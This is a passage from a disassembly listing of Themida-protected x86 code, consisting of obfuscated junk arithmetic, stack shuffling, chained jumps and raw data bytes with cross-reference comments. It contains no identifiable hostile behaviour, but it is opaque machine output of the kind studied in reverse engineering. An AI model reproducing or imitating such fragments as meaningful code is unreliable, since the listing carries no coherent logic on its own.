4C4h, 0C4BAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5539A6: ; CODE XREF: Themida_:005584D8j add edi, ebx sub edi, 742D5FC0h add edi, 3AA97A62h mov ebx, [esp] jmp loc_550133 ; --------------------------------------------------------------------------- dd 0E22BE95Ch, 5B66FFFFh, 5EE9562Ch db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5539CB: ; CODE XREF: Themida_:0054FF06j add eax, ebx pop ebx jmp loc_559FB8 ; --------------------------------------------------------------------------- db 81h dd 2C1h, 74FF5100h, 34FF0424h, 1DE95924h db 12h, 1, 0 ; --------------------------------------------------------------------------- loc_5539E7: ; CODE XREF: Themida_:0055ECB4j push ebx mov ebx, esp push 6B19h mov [esp], esi mov esi, 4 sub esp, 4 mov [esp], ecx jmp loc_559205 ; --------------------------------------------------------------------------- dw 34FFh aZrsc db '$ZR]',0 align 4 aH5 db 'h\5',0 dd 241C8900h, 28566FBBh, 0EECB817Eh, 0E9373D4Dh, 0C66Ch dd 24048B66h, 77F16856h, 89510000h, 4C181E1h, 81000000h dd 4E9h, 240C8700h, 0A222E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_553A46: ; CODE XREF: Themida_:00552DF7j sub esi, ecx pop ecx push eax jmp loc_55AA29 ; --------------------------------------------------------------------------- db 0C1h dd 0B85007E3h, 0A16B7204h, 158C301h, 0F1BE9DFh db 1, 0 ; --------------------------------------------------------------------------- loc_553A62: ; CODE XREF: Themida_:00564352j push edx mov dl, 33h jmp loc_55A95C ; --------------------------------------------------------------------------- dw 489h dd 0C0E6B424h, 0EC8105E4h, 4, 0B3241C89h, 8BDC0014h, 0C483241Ch dd 4EC8104h, 0E9000000h, 0C825h, 58F4685Ch, 61E90000h dd 830000B1h, 0C78304C4h, 9ABEE904h, 34FF0000h, 24048B24h dd 8304C483h, 0C8904ECh, 58545024h, 405h, 5E30E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553AC2: ; CODE XREF: Themida_:0055E31Fj push edi mov edi, 1DE16A2Ch push esi jmp loc_553CAA ; --------------------------------------------------------------------------- loc_553ACE: ; CODE XREF: Themida_:0055D75Fj pop eax and eax, ecx push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push ebx push esp pop ebx push eax push edi mov edi, 4 mov eax, edi jmp loc_55C974 ; --------------------------------------------------------------------------- dd 162C781h, 0B8501912h, 0C58B2C93h, 5F4DE9h, 54A8BE00h dd 89E914B3h, 57000021h, 42F268h, 24248900h, 251FE9h db 0 ; --------------------------------------------------------------------------- loc_553B15: ; CODE XREF: Themida_:00559FA2j pop esp mov [esp], esi mov esi, 0FFFFFFFFh sub [edi+24h], esi pop esi loc_553B22: ; CODE XREF: Themida_:0055FAA8j push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5600D9 ; --------------------------------------------------------------------------- loc_553B3C: ; CODE XREF: Themida_:0055A7BAj xor esi, edi pop edi add ebp, esi mov esi, [esp] add esp, 4 add ebp, 4 jmp loc_561522 ; --------------------------------------------------------------------------- loc_553B4F: ; CODE XREF: Themida_:00561F1Aj push dword ptr [esp] pop ecx add esp, 4 pop edx xor eax, ecx jmp loc_564245 ; --------------------------------------------------------------------------- dw 433h dd 24043124h, 8B240433h, 77E92424h, 100005Fh, 8EE95BDDh db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553B77: ; CODE XREF: Themida_:0055D163j pop esi jmp loc_5592D9 ; --------------------------------------------------------------------------- db 0BAh, 2Ch, 0 dd 0C2810000h, 73F32404h, 0EA81FA01h, 73F32404h, 334A68h dd 81B3E900h, 0C15A0000h, 0E94506EDh, 1CF1h ; --------------------------------------------------------------------------- loc_553BA4: ; CODE XREF: Themida_:0055FCEFj xchg eax, ebx not ebx xchg eax, ebx jmp loc_5606CC ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 56000000h, 4BEh, 5EF32900h, 33DAE9h, 2474FF00h, 48F5D04h dd 1C895C24h, 2BB24h, 6EE90000h, 81000037h, 2B2EABF3h dd 4DBE5661h, 5347C75Eh, 476EF5BBh, 46EB8101h, 8108B4C5h dd 0D8160EEEh, 81DE0126h, 0D8160EC6h, 0D0AFE926h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553C02: ; CODE XREF: Themida_:0055466Dj mov ecx, 2 push esi mov esi, ecx mov eax, esi pop esi pop ecx add ebp, eax push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 jmp loc_555F10 ; --------------------------------------------------------------------------- db 31h, 0FDh, 5Fh dd 2C8BEF89h, 4C48324h, 2DE7814Fh, 68506B78h, 20A9h, 0E9240489h dd 0B130h, 5984BB53h, 0E3C121A7h, 0B4E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553C4E: ; CODE XREF: Themida_:0055FEE0j sub edi, ebx pop ebx sub eax, edi jmp loc_562980 ; --------------------------------------------------------------------------- dd 4DFCF281h, 0D70141A1h, 81CAE9h, 240C8B00h, 8104C483h dd 4C3h, 241C3300h, 33241C31h, 8B5C241Ch, 0A3682404h, 8900004Dh dd 8B54243Ch, 0C481243Ch, 4, 4EC81h, 1C890000h, 215DBB24h dd 56437ADDh, 0BEh, 2F85E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553CAA: ; CODE XREF: Themida_:00553AC9j mov esi, 1 push ebp jmp loc_5547B1 ; --------------------------------------------------------------------------- aYr db 'YR',0Dh,0 dw 4D83h dd 7A16BE56h, 0EED13F10h, 8FFCE81h, 0CE8119E1h, 635D3521h dd 670E68h, 242C8900h, 626C9DBDh, 76E4E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553CE2: ; CODE XREF: Themida_:0055D6E9j pop edx jmp loc_5637CF ; --------------------------------------------------------------------------- dd 0BFh, 87F72900h, 9275E9FEh, 815B0000h, 4C3h, 4439E900h dd 0C3810000h, 488913E7h, 0E95BDE89h, 0D7Bh, 7C3AEB81h dd 0DF890853h, 0FCE9565Bh, 66FFFFD9h, 5324048Bh, 0F415E954h dd 8950FFFFh, 1B5F68E0h, 95E90000h db 0A3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553D37: ; CODE XREF: Themida_:0055CAE1j xchg ebx, [esp] mov esp, [esp] push ebp jmp loc_55E804 ; --------------------------------------------------------------------------- aZH2i db ',$\h2i',0 align 4 dd 54241C89h, 0A3DE9h, 4C48300h, 7F00E9h db 0 ; --------------------------------------------------------------------------- loc_553D5D: ; CODE XREF: Themida_:0055F867j pop ebp and edi, 19160949h inc edi sub edi, 0B12986FBh or eax, edi mov edi, [esp] jmp loc_5615D4 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FFD1C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_553D7D: ; CODE XREF: Themida_:0055AB1Dj pop edx add esp, 4 add esp, 4 pop edi push edx jmp loc_55807A ; --------------------------------------------------------------------------- db 5, 31h, 5 dd 1D2D0FDFh, 0E98FAC65h, 805Dh, 2474FF56h, 48F5E04h, 24248B24h dd 0FF240489h, 148B2434h, 4C48124h, 53000000h, 0FF34E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553DC2: ; CODE XREF: Themida_:0055ED7Bj mov esi, ebx pop ebx jmp loc_55DEF9 ; --------------------------------------------------------------------------- dw 0C681h dd 422266F5h, 0EE81FE29h, 422266F5h, 6824C681h, 15F2EB4h dd 5CE95EF1h db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553DE7: ; CODE XREF: Themida_:0055EF32j add ebp, ebx jmp loc_563264 ; --------------------------------------------------------------------------- dw 0ED81h dd 6F209B88h, 295DEE01h, 0C6815EF2h, 56223933h, 0E950D601h dd 25D2h, 55BDD01h, 2271BB7h, 0B72DE801h, 5D02271Bh, 0E904EC83h dd 0D575h, 20B9CA81h, 0C2815657h, 616063A7h, 0C98E281h dd 0EE9348Eh, 5400005Eh, 5124048Fh, 4B9h, 244C0100h, 240C8B04h dd 0E904C483h, 7DE9h ; --------------------------------------------------------------------------- loc_553E50: ; CODE XREF: Themida_:005522BFj sub ebp, 0A8E91F91h sub ecx, ebp pop ebp pop esi jmp loc_55B8AF ; --------------------------------------------------------------------------- loc_553E5F: ; CODE XREF: Themida_:00560695j sub ecx, edx push 1D32h mov [esp], eax jmp loc_550711 ; --------------------------------------------------------------------------- dw 5D59h dd 4B9515Ah, 81000000h, 0A0D15EAh, 81CA013Ah, 0A0D15C2h dd 2AE9593Ah, 0BF000084h, 71D77475h, 7A68F781h, 0C3E9DF9Dh dd 890000BBh, 4832424h, 555A0424h, 405EE9h, 5BDE8800h dd 0E917EE80h, 766Dh, 57D0015Ah, 0CB2853BFh, 5FF8290Ah dd 0D68055Ah, 0E95A0DA4h, 3D49h, 1453BA52h, 1DE927F1h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_553ED7: ; CODE XREF: Themida_:0055E9ABj xor ebp, 36B00FAh add ebp, 44FF1EF1h jmp loc_5557D7 ; --------------------------------------------------------------------------- dd 0E9240487h, 0F51Bh ; --------------------------------------------------------------------------- loc_553EF0: ; CODE XREF: Themida_:00560BD5j xor edx, 767B6AAEh push 32A0h mov [esp], ecx jmp loc_55D6D4 ; --------------------------------------------------------------------------- loc_553F03: ; CODE XREF: Themida_:0055E1FBj mov [esp], ebx mov ebx, 18AD055Eh neg ebx shr ebx, 3 jmp loc_551E79 ; --------------------------------------------------------------------------- loc_553F15: ; CODE XREF: Themida_:00555AAAj push eax sub dword ptr [esp], 11DA3AD1h push dword ptr [esp] pop ebp push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 add ebx, eax jmp loc_560EDD ; --------------------------------------------------------------------------- loc_553F37: ; CODE XREF: Themida_:0056171Aj pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] sub esp, 4 jmp loc_55E8CF ; --------------------------------------------------------------------------- loc_553F51: ; CODE XREF: Themida_:00556E7Fj add esp, 2 xor ch, 6 neg ch jmp loc_551A05 ; --------------------------------------------------------------------------- loc_553F5E: ; CODE XREF: Themida_:0055996Bj pop ebp pop dword ptr [esp] pop esp sub edx, 36320A9h push ebp mov ebp, edx jmp loc_55AB14 ; --------------------------------------------------------------------------- db 1, 0C7h, 53h dd 0FFBC74E9h, 0B95146FFh, 0D1D7BDFh, 0C8BCE09h, 4C48324h dd 24C2F681h, 0EE8118FEh, 131767FBh, 4FE9F701h, 890000E0h dd 51682414h, 8B52E009h, 0E0E92414h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553FAB: ; CODE XREF: Themida_:0055A95Fj mov cl, 37h sub dl, cl pop ecx jmp loc_5501D6 ; --------------------------------------------------------------------------- db 51h, 0B9h, 4 dd 0E9000000h, 5D95h ; --------------------------------------------------------------------------- loc_553FC0: ; CODE XREF: Themida_:0055E56Ej pop ebx add esp, 4 and eax, edi push dword ptr [esp] pop edi push ebp mov ebp, esp push ecx mov ecx, 48F00AABh shl ecx, 7 dec ecx add ecx, 271C7AFBh shr ecx, 7 shr ecx, 7 xor ecx, 27C83h jmp loc_5501B6 ; --------------------------------------------------------------------------- dw 0C781h dd 5E3A7293h, 0E95FFA89h, 0FFFFECFEh, 8B24048Fh, 48B2424h dd 4EC8124h, 89000000h, 88E9242Ch, 8F0000C9h, 665C2404h dd 8324048Bh, 83E904ECh, 0BF00003Bh, 67B02B0Ah, 5B17B951h dd 0C181081Bh, 37A1F60Fh, 3159CA89h, 2434FFFAh, 0D94DE95Fh dd 7D680000h, 89000058h, 74FF243Ch, 34FF0424h, 0FEE95F24h dd 66FFFFFCh, 6824048Bh, 857h, 54242C89h, 0FFC288E9h db 0FFh ; --------------------------------------------------------------------------- loc_554069: ; CODE XREF: Themida_:0055CF20j push edi push esp pop edi add edi, 4 push esi mov esi, 4 jmp loc_55261C ; --------------------------------------------------------------------------- db 81h, 0F3h, 6 dd 891AEF2Ah, 0FD015BDFh, 783DE9h db 0 ; --------------------------------------------------------------------------- loc_55408D: ; CODE XREF: Themida_:005593E8j mov ecx, ebp pop ebp sub edx, ecx push dword ptr [esp] pop ecx add esp, 4 shr edx, 3 jmp loc_5648B5 ; --------------------------------------------------------------------------- db 81h, 0C6h, 74h dd 8B4AB774h, 0C483242Ch, 24343304h, 33243431h, 248B2434h dd 2424D324h, 0B754E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5540C2: ; CODE XREF: Themida_:00558729j sub esp, 4 mov [esp], edi mov edi, 18A06B23h jmp loc_55EBC2 ; --------------------------------------------------------------------------- loc_5540D5: ; CODE XREF: Themida_:0055EDD1j push 2527h mov [esp], eax mov eax, 1A6D03EBh push esi mov esi, 42422BDFh sub esi, 4429126Ch or esi, 70874432h add esi, 750F0FE3h add eax, esi mov esi, [esp] jmp loc_556669 ; --------------------------------------------------------------------------- loc_554104: ; CODE XREF: Themida_:00557A04j and ebp, edx mov edx, [esp] add esp, 4 and ebp, 79C654Ch sub ebp, 4ABB795Ch sub ebp, 1 push ebx mov ebx, 16620F04h dec ebx neg ebx xor ebx, 53F478F3h jmp loc_551BAC ; --------------------------------------------------------------------------- aSvsa db 'SVA',0 align 4 dd offset dword_4B5248+2C20h dd 24048900h, 8904EC83h, 4812424h, 424h, 4055800h, 68000000h dd 6444h, 0BD242C89h, 4, 0E195805h, 0E9E8010Bh, 10476h ; --------------------------------------------------------------------------- loc_554170: ; CODE XREF: Themida_:00551AA6j mov ebx, 29B89D44h sub ebx, esi pop esi jmp loc_553350 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 3970E9h, 0BCF28100h, 4229B070h, 8108E2C1h, 8CCCA3EAh dd 4FB3E996h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55419A: ; CODE XREF: Themida_:00560448j neg dl jmp loc_555D40 ; --------------------------------------------------------------------------- loc_5541A1: ; CODE XREF: Themida_:00555DADj mov ecx, [esp] add esp, 4 push edx jmp loc_554E12 ; --------------------------------------------------------------------------- dd 6C1533B9h, 70C1817Ah, 9A3BC48h, 0E0E959CBh, 83FFFFCCh dd 148704C2h, 24248B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55DA66 ; --------------------------------------------------------------------------- dw 8FBFh dd 0E944AD4Ah, 0ABF2h, 657B0559h, 31E917FCh, 66FFFFD8h dd 5024048Bh, 0BB68E089h, 89000003h, 4B9240Ch, 57000000h dd 0FFF116E9h, 1C8B5AFFh, 4C48324h, 520BB353h, 2AA4E9h dd 8B254800h, 0C120BF24h, 0E94007E0h, 10575h, 63E9FD01h db 0F3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55422F: ; CODE XREF: Themida_:00551737j mov edx, 1ED06A18h sub edx, 23554031h dec edx or edx, 3E26F40h sub edx, 86FDF2E5h xor ebx, edx pop edx or ebx, 4058539Bh sub ebx, 1 jmp loc_563EF3 ; --------------------------------------------------------------------------- loc_55425B: ; CODE XREF: Themida_:00561C94j inc dh add dh, 5 jmp loc_5500C8 ; --------------------------------------------------------------------------- aPKl3s9 db 'P',27h,'kL3"9',0 align 10h dd 0B93DE95Fh, 0C87FFFFh, 0E378E924h, 77FF0000h, 58669D1Ch dd 24041966h, 0B588E99Ch, 8B66FFFFh, 0CB68240Ch, 0E900004Fh dd 63BBh, 62AAB12Dh, 0E9C7310Ah, 388Fh, 0B850C388h, 25710142h dd 8CBB5355h, 0E923C908h, 64E5h ; --------------------------------------------------------------------------- loc_5542BC: ; CODE XREF: Themida_:0055FE78j mov eax, 3900354Fh add ebp, eax pop eax jmp loc_564F5C ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 4BEh, 5EF18900h, 43FDEA81h, 0CA01498Dh, 3988E9h db 0 ; --------------------------------------------------------------------------- loc_5542E1: ; CODE XREF: Themida_:00564664j add ebx, edi pop edi add ebx, eax jmp loc_5588F7 ; --------------------------------------------------------------------------- db 0Dh dd 1FD6557Dh, 0C46BD135h, 0B232505h, 0B8E97EEDh, 68000009h dd 712Ah, 5E08950h, 4, 8704E883h, 0E95C2404h, 0FFFFB7C0h dd 0C781DF01h, 7A305179h, 0E95D575Bh, 8C82h, 5DEA295Bh dd 0FFC4B4E9h, 0E08950FFh, 405h, 40500h, 1FE90000h, 890000B3h dd 26E92404h db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55434B: ; CODE XREF: Themida_:00564766j add ecx, ebx xor [ecx], eax jmp loc_551539 ; --------------------------------------------------------------------------- dd 0BF243C89h, 77D77E5Fh, 3C8BF831h, 4C48124h, 1000000h dd 0FF042444h, 0FBE92434h, 33000085h, 248B2414h, 0E9D1F624h dd 9282h, 0E904C483h, 0FFFFFF14h, 5204C283h, 0E78EE9h db 0 ; --------------------------------------------------------------------------- loc_554391: ; CODE XREF: Themida_:0055D53Cj push 7430h mov [esp], edi jmp loc_55A964 ; --------------------------------------------------------------------------- loc_55439E: ; CODE XREF: Themida_:00559F20j jz loc_55035F push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_55ECB0 ; --------------------------------------------------------------------------- db 89h dd 0DBF5EF2h, 81D3024Ch, 8D4EFDEFh, 83C7811Dh, 292A5C03h dd 83EF81D7h, 812A5C03h, 8D4EFDC7h, 0F74F5A1Dh, 0B1A2E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5543DA: ; CODE XREF: Themida_:00564BE8j pop esi sub esp, 4 mov [esp], ebx push 4374h mov [esp], ebp mov ebp, 15F56D24h shr ebp, 3 xor ebp, 3DB72BCCh sub ebp, 2EFD1D87h add ebp, 0EFF39721h jmp loc_5512E1 ; --------------------------------------------------------------------------- dd 48BC589h, 47E95724h, 1FFFFCDh, 0C8B5BDEh, 7E95624h dd 2DFFFFBEh, 0BC72BD7h, 0D705F001h, 2D0BC72Bh, 3544552Bh dd 0BA48E9h db 0 ; --------------------------------------------------------------------------- loc_554435: ; CODE XREF: Themida_:00553257j pop ecx add esp, 4 push 16E6h mov [esp], esi mov esi, 506E7A03h push eax push 25A5h jmp loc_55D657 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 68000000h, 4671h, 0FF240C89h, 59042474h, 8B24048Fh dd 1C892424h, 36356824h, 2BE90000h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554477: ; CODE XREF: Themida_:0056291Fj mov eax, [esp] add esp, 4 add esp, 4 jmp loc_559A8F ; --------------------------------------------------------------------------- loc_55448B: ; CODE XREF: Themida_:0056483Bj push ebp push dword ptr [esp+4] jmp loc_56358C ; --------------------------------------------------------------------------- db 81h, 0E3h, 0D6h dd 0E91FB262h, 341h, 0B8240489h, 4, 34FFC629h, 24048B24h dd 0E904C483h, 775Eh, 89243C89h, 4C781E7h, 53000000h, 0DF5AE9h db 0 ; --------------------------------------------------------------------------- loc_5544C9: ; CODE XREF: Themida_:00550E3Dj sub ebp, ecx pop ecx add ebp, esi push edx mov edx, 403375EFh and edx, 63D14D27h xchg ebx, edx not ebx xchg ebx, edx sub edx, 0BBB45E12h add ebp, edx jmp loc_564BE7 ; --------------------------------------------------------------------------- db 51h, 0B5h, 6Fh dd 0C096C580h, 0E58003EDh, 0FFED8050h, 8006EDC0h, 0EB28CDC5h dd 0E9DA8859h, 0B817h, 4EC81h, 14890000h, 32BE5624h, 0E97CBD39h dd 0FFFFFE8Fh ; --------------------------------------------------------------------------- loc_554520: ; CODE XREF: Themida_:005588D0j pop edx push esi jmp loc_55094B ; --------------------------------------------------------------------------- db 0Dh dd 322E3B25h, 0B619E948h, 148BFFFFh, 2DE95324h, 2DFFFFEEh dd 748D425Eh, 5E05F801h, 5F748D42h, 0EC815553h, 4, 0B9240C89h dd 49039A2h, 19E6E951h, 0EDC10000h, 0ED814507h, 0A9D8D504h dd 3FBAF581h, 0EE892E7Ah, 0E9F0315Dh, 0E8ECh ; --------------------------------------------------------------------------- loc_554578: ; CODE XREF: Themida_:0055B5D0j pop ecx jmp loc_55CCBE ; --------------------------------------------------------------------------- dw 0DA89h dd 8904EC83h, 2C812414h, 2A744C24h, 2434FF17h, 4C4835Bh dd 4EC81h, 2C890000h, 0F8685224h, 0E9431170h, 0FFFFD207h ; --------------------------------------------------------------------------- loc_5545A8: ; CODE XREF: Themida_:00551C61j add edx, 17A01657h mov edi, [esp] add esp, 4 sub edx, edi sub edx, 1B30CAh pop edi add edx, eax jmp loc_56098A ; --------------------------------------------------------------------------- dd 4BE565Fh, 0E9000000h, 0D51Dh ; --------------------------------------------------------------------------- loc_5545D0: ; CODE XREF: Themida_:00560D40j push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 or eax, eax jz loc_55BA38 sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_55B989 ; --------------------------------------------------------------------------- loc_5545F7: ; CODE XREF: Themida_:005585EEj mov esi, 80h push ebp push 7AA5h mov [esp], edi push 6B0Ah jmp loc_55AA85 ; --------------------------------------------------------------------------- loc_55460F: ; CODE XREF: Themida_:005523CEj add ebx, 63D36888h mov edi, [esp] add esp, 4 jmp loc_552B30 ; --------------------------------------------------------------------------- loc_554620: ; CODE XREF: Themida_:00559B38j shl ecx, 4 shr ecx, 6 not ecx sub esp, 4 jmp loc_55B553 ; --------------------------------------------------------------------------- loc_554633: ; CODE XREF: Themida_:0055F5D6j add ebx, 1 inc ebx push eax mov eax, 3A485FB2h jmp loc_555C75 ; --------------------------------------------------------------------------- dw 0C89h dd 3CB75324h, 0E7C0EFD0h, 0F6CFFE03h, 0B8DEE9DFh, 8768FFFFh dd 0E9000001h, 0FFFFB908h ; --------------------------------------------------------------------------- loc_554660: ; CODE XREF: Themida_:0055AD4Aj add ebp, 4 sub esp, 4 mov [esp], eax push ecx jmp loc_553C02 ; --------------------------------------------------------------------------- dw 0C683h dd 24348704h, 0C025E95Ch, 93E90000h, 5DFFFFB1h, 5E5DEB81h dd 9FE940D3h, 29000040h, 0F3015FFBh, 3DDAC381h, 46E916B5h dd 0F70000B8h, 13E953DEh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5546A7: ; CODE XREF: Themida_:0055A577j xchg ebp, [esp] mov esp, [esp] cmp ecx, eax pushf jmp loc_54F816 ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 4C281h, 0EA810000h, 4, 2474FF52h, 48F5A04h, 24248B24h dd 0F816E9h db 0 ; --------------------------------------------------------------------------- loc_5546D5: ; CODE XREF: Themida_:005578EFj add esp, 4 inc ebp neg ebp or ebp, 477107F4h inc ebp add ebp, 88E76451h jmp loc_564042 ; --------------------------------------------------------------------------- db 5Eh, 83h, 0C4h dd 242C8B04h, 104C483h, 4DB7E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5546FE: ; CODE XREF: Themida_:00552ECAj add eax, 54484007h pop ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_5577D7 ; --------------------------------------------------------------------------- loc_554724: ; CODE XREF: Themida_:00551D9Ej xor [esp+4], edi pop edi pop eax xor eax, 48B26A06h mov ebp, [esp] jmp loc_55FE25 ; --------------------------------------------------------------------------- loc_554737: ; CODE XREF: Themida_:0055D74Fj add ebp, esi jmp loc_5515A9 ; --------------------------------------------------------------------------- loc_55473E: ; CODE XREF: Themida_:00550D3Fj add ebp, 4 jmp loc_55F4BB ; --------------------------------------------------------------------------- dw 7205h dd 52C0071h, 7109633Fh, 5F37D005h, 6BE95F3Bh, 5B000096h dd 5EE5EF81h, 0B951572Fh, 0C4C226Ah, 0DE0AC181h, 0EF811059h dd 420610AEh, 4C72EF81h, 52E92491h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55477F: ; CODE XREF: Themida_:00555DEFj add ebx, 6D631E67h sub ebx, 5E2545ADh add ebx, ecx jmp loc_564997 ; --------------------------------------------------------------------------- dw 0E95Bh dd 2A7h, 1D7E981h, 0E92948CAh, 1D7C181h, 0E98148CAh, 34AA4CB5h dd 0FFE6F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5547B1: ; CODE XREF: Themida_:00553CB0j mov ebp, 7B937A6Dh add edi, ebp jmp loc_56486F ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 4798E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5547C6: ; CODE XREF: Themida_:0056196Ej sub edx, 6167FA3h add edx, ebp add edx, 6167FA3h jmp loc_550C3B ; --------------------------------------------------------------------------- db 1, 0C5h, 58h dd 5BDBE9h, 8EBC100h, 5FFDF381h, 0DE29FFF2h, 81241C8Bh dd 4C4h, 38EE8100h, 319019C4h, 24348BF0h, 68E38953h, 1CCh dd 68243489h, 22225C3Bh, 0A824E9h db 0 ; --------------------------------------------------------------------------- loc_554815: ; CODE XREF: Themida_:005564E9j mov cl, ah pop eax shl cl, 8 jmp loc_5618B2 ; --------------------------------------------------------------------------- dd 7297E181h, 7EE9757Ah db 6, 1, 0 ; --------------------------------------------------------------------------- loc_55482B: ; CODE XREF: Themida_:00561FE5j pop ebx add eax, ecx add eax, 132A7CC4h pop ecx jmp loc_550F1E ; --------------------------------------------------------------------------- loc_554839: ; CODE XREF: Themida_:00563902j mov esi, 2698101Fh or ebx, esi pop esi xor ebx, 14C81366h jmp loc_56070C ; --------------------------------------------------------------------------- dd 4BAh, 0FFD50100h, 148B2434h, 4C48124h db 3 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 6B651CC3h push 5A8Ch mov [esp], edx mov edx, 7C291668h jmp loc_562A1C ; --------------------------------------------------------------------------- dw 8158h dd 4ECh, 0C45E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554886: ; CODE XREF: Themida_:0055BD28j push 44F4h mov [esp], eax push 75C692Ch pop eax push edi jmp loc_55A341 ; --------------------------------------------------------------------------- dw 0EE81h dd 1DCE7414h, 0DE9C601h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5548A7: ; CODE XREF: Themida_:0055DDF2j pop edx add edx, 19A95915h sub edx, ebp sub edx, 19A95915h mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov [edi+20h], edx jmp loc_55EEBC ; --------------------------------------------------------------------------- dd 895BD831h, 0D00158C2h, 2B9515Ah, 1000000h, 240C8BC8h dd 5E08950h, 4, 8704C083h, 248B2404h, 24048724h, 0C8B665Ch dd 0F3DDE924h, 2C890000h, 30E95424h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55490B: ; CODE XREF: Themida_:005609D3j mov [esp], edx push 55F5h jmp loc_563B60 ; --------------------------------------------------------------------------- dd 305EE81h, 17E971E3h, 89000010h, 5A542414h, 0FFFD29E9h dd 5C7BBDFFh, 0D5F71C78h, 9B94E9h db 0 ; --------------------------------------------------------------------------- loc_554939: ; CODE XREF: Themida_:005592F6j jmp loc_54F816 ; --------------------------------------------------------------------------- loc_55493E: ; CODE XREF: Themida_:00551ED0j add edi, esi push dword ptr [esp] pop esi add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push 24C8h mov [esp], ebx sub esp, 4 mov [esp], eax push ebx mov bl, dl mov ah, bl jmp loc_561711 ; --------------------------------------------------------------------------- loc_55496E: ; CODE XREF: Themida_:0056499Ej mov [esp], edx jmp loc_564EC4 ; --------------------------------------------------------------------------- dw 0FE29h dd 52C6015Fh, 3553BE56h, 0DEF75D1Ch, 8103EEC1h, 1D35DDCEh dd 0B965E92Dh, 0BD55FFFFh, 3A3A3C51h, 5779E581h, 0C581758Fh dd 39AC6170h, 15DEB31h, 4776E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5549AE: ; CODE XREF: Themida_:0055E693j mov [esp], eax mov eax, 38CF743Dh inc eax neg eax not eax push ebx push esi mov esi, 68F141F3h mov ebx, 5F8C3632h xor ebx, esi pop esi shr ebx, 3 not ebx or ebx, 393728CFh add ebx, 4432EF4Fh jmp loc_55298F ; --------------------------------------------------------------------------- dd 0F897C781h, 0F801177Eh, 58C1015Fh, 8704C183h, 8B5C240Ch dd 5B68240Ch, 0E9000039h, 0F3D3h ; --------------------------------------------------------------------------- loc_554A00: ; CODE XREF: Themida_:00554C63j push edi push esi pop edi mov eax, edi mov edi, [esp] add esp, 4 mov esi, [esp] push esi push esp jmp loc_56230B ; --------------------------------------------------------------------------- loc_554A18: ; CODE XREF: Themida_:00550DB1j sub edx, 10441F32h add ecx, edx jmp loc_550590 ; --------------------------------------------------------------------------- aAUsyf db 'Y',0 dd 5E25BF00h, 0FAE90565h, 89FFFFD3h, 0B4E92434h, 57FFFFD4h dd 8904EC83h, 0E953240Ch, 1B64h, 14104BFh, 13AB85Eh, 0F83137EDh dd 4DEE2D5Fh, 0E0D133B1h, 721A68h, 241C8900h, 7A03DDBBh dd 2E3C17Bh, 0A812E9h, 4B900h, 0CF010000h, 1139E959h, 8B660000h dd 5AE92404h, 4E00005Ah, 0D1EE9h, 4886BF00h, 0A26845D1h dd 0E9000046h, 0FFFFC90Ah, 252ABB53h, 0D8015822h, 2DC8295Bh dd 5822252Ah, 592434FFh, 5004C483h, 0C0E9E089h, 5AFFFFC0h dd 41CCE9h db 0 ; --------------------------------------------------------------------------- loc_554AC5: ; CODE XREF: Themida_:0055DEBDj add esp, 4 or esi, 71DC6BB3h jmp loc_55DE79 ; --------------------------------------------------------------------------- loc_554AD3: ; CODE XREF: Themida_:0055E120j mov edi, 24C57637h sub ebx, edi pop edi jmp loc_559F34 ; --------------------------------------------------------------------------- loc_554AE0: ; CODE XREF: Themida_:005509C5j mov [esp], eax mov eax, esp push edx mov edx, 0D461186h push ebx mov ebx, 639D0332h jmp loc_54FFA0 ; 